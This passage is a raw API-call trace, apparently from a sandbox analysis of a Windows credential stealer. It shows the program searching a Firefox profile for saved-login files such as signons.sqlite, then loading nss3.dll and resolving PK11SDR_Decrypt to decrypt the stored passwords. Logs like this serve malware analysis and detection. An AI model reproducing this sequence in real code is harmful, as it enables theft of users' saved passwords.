returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0068.609] LocalFree (hMem=0x65e540) returned 0x0 [0068.609] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0068.609] lstrlenA (lpString="\\*.*") returned 4 [0068.609] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x662648 [0068.609] lstrcpyA (in: lpString1=0x662648, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0068.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0068.609] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 0x6427a8 [0068.611] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.611] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 1 [0068.611] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.611] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.611] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5d6 | out: lpFindFileData=0x12f5d6) returned 0 [0068.611] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0068.611] LocalFree (hMem=0x662648) returned 0x0 [0068.611] LocalFree (hMem=0x662540) returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0068.611] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.611] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0068.611] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0068.611] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.611] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 0 [0068.611] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0068.611] LocalFree (hMem=0x661438) returned 0x0 [0068.611] LocalFree (hMem=0x65e638) returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 0 [0068.611] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0068.611] LocalFree (hMem=0x65e448) returned 0x0 [0068.611] LocalFree (hMem=0x65e338) returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0068.611] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0068.611] LocalFree (hMem=0x626b50) returned 0x0 [0068.611] LocalFree (hMem=0x65b348) returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.611] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0068.611] lstrlenA (lpString="key3.db") returned 7 [0068.611] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0068.611] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0068.611] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0068.611] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.611] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0068.611] lstrlenA (lpString="localstore.rdf") returned 14 [0068.612] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0068.612] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.612] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0068.612] lstrlenA (lpString="marionette.log") returned 14 [0068.612] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0068.612] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.612] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0068.612] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0068.612] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0068.612] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0068.612] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.612] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0068.612] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0068.612] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.612] lstrlenA (lpString="\\") returned 1 [0068.612] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6273f8 [0068.612] lstrcpyA (in: lpString1=0x6273f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.612] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0068.612] lstrlenA (lpString="minidumps") returned 9 [0068.612] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0068.612] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0068.612] LocalFree (hMem=0x6273f8) returned 0x0 [0068.612] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0068.612] lstrlenA (lpString="\\*.*") returned 4 [0068.612] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x626b50 [0068.612] lstrcpyA (in: lpString1=0x626b50, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0068.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0068.612] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0068.614] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.614] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.614] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.614] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.614] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0068.614] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0068.614] LocalFree (hMem=0x626b50) returned 0x0 [0068.614] LocalFree (hMem=0x65b348) returned 0x0 [0068.614] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.614] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0068.614] lstrlenA (lpString="parent.lock") returned 11 [0068.614] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0068.614] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0068.614] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0068.614] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.614] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.614] lstrlenA (lpString="permissions.sqlite") returned 18 [0068.614] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0068.614] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.614] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.614] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="places.sqlite") returned 13 [0068.615] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="pluginreg.dat") returned 13 [0068.615] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="prefs.js") returned 8 [0068.615] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="search.json") returned 11 [0068.615] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="secmod.db") returned 9 [0068.615] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0068.615] lstrlenA (lpString="sessionstore.bak") returned 16 [0068.615] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0068.615] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0068.615] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.615] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0068.616] lstrlenA (lpString="sessionstore.js") returned 15 [0068.616] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0068.616] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0068.616] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0068.616] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.616] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0068.616] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.616] lstrlenA (lpString="\\") returned 1 [0068.616] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6273f8 [0068.616] lstrcpyA (in: lpString1=0x6273f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.616] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0068.616] lstrlenA (lpString="signons.sqlite") returned 14 [0068.616] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x626b50 [0068.616] lstrcpyA (in: lpString1=0x626b50, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0068.616] LocalFree (hMem=0x6273f8) returned 0x0 [0068.616] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c [0068.616] CloseHandle (hObject=0x13d) returned 1 [0068.616] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0068.616] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x65d330 [0068.616] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x65d330, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0068.616] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c [0068.616] CloseHandle (hObject=0x13d) returned 1 [0068.617] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c [0068.617] GetFileSize (in: hFile=0x13d, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0068.617] CreateFileMappingA (hFile=0x13c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x140 [0068.617] MapViewOfFile (hFileMappingObject=0x140, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0068.693] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x65d418 [0068.693] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0068.698] CloseHandle (hObject=0x140) returned 1 [0068.698] CloseHandle (hObject=0x13c) returned 1 [0068.698] LocalFree (hMem=0x65d330) returned 0x0 [0068.698] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.698] SetCurrentDirectoryA (lpPathName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 1 [0068.698] LoadLibraryA (lpLibFileName="nss3.dll") returned 0x6ddb0000 [0069.842] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSS_Init") returned 0x6de6d70b [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSS_Shutdown") returned 0x6de6d13c [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSSBase64_DecodeBuffer") returned 0x6de6e7d9 [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="SECITEM_FreeItem") returned 0x6de6e656 [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_GetInternalKeySlot") returned 0x6de03c51 [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_Authenticate") returned 0x6dded3ca [0069.843] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11SDR_Decrypt") returned 0x6de000a7 [0069.844] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_FreeSlot") returned 0x6de03333 [0069.905] NSS_Init () returned 0x0 [0070.881] PK11_GetInternalKeySlot () returned 0x192d000 [0070.882] PK11_Authenticate () returned 0x0 [0070.882] LoadLibraryA (lpLibFileName="mozsqlite3.dll") returned 0x0 [0070.882] LoadLibraryA (lpLibFileName="sqlite3.dll") returned 0x0 [0070.882] PK11_FreeSlot () returned 0x192d000 [0070.882] NSS_Shutdown () returned 0x0 [0070.887] LocalFree (hMem=0x626b50) returned 0x0 [0070.887] lstrlenA (lpString="signons.sqlite") returned 14 [0070.887] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.887] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.887] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0070.887] lstrlenA (lpString="times.json") returned 10 [0070.887] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0070.887] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.887] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0070.887] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0070.887] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0070.887] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0070.887] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.887] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0070.887] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0070.887] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.887] lstrlenA (lpString="\\") returned 1 [0070.887] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.887] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.887] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.887] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.887] lstrlenA (lpString="webapps") returned 7 [0070.887] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0070.888] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.888] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.888] LocalFree (hMem=0x6275a8) returned 0x0 [0070.888] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0070.888] lstrlenA (lpString="\\*.*") returned 4 [0070.888] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0070.888] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.888] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0070.888] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0070.888] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.888] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.888] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.888] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.888] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.888] 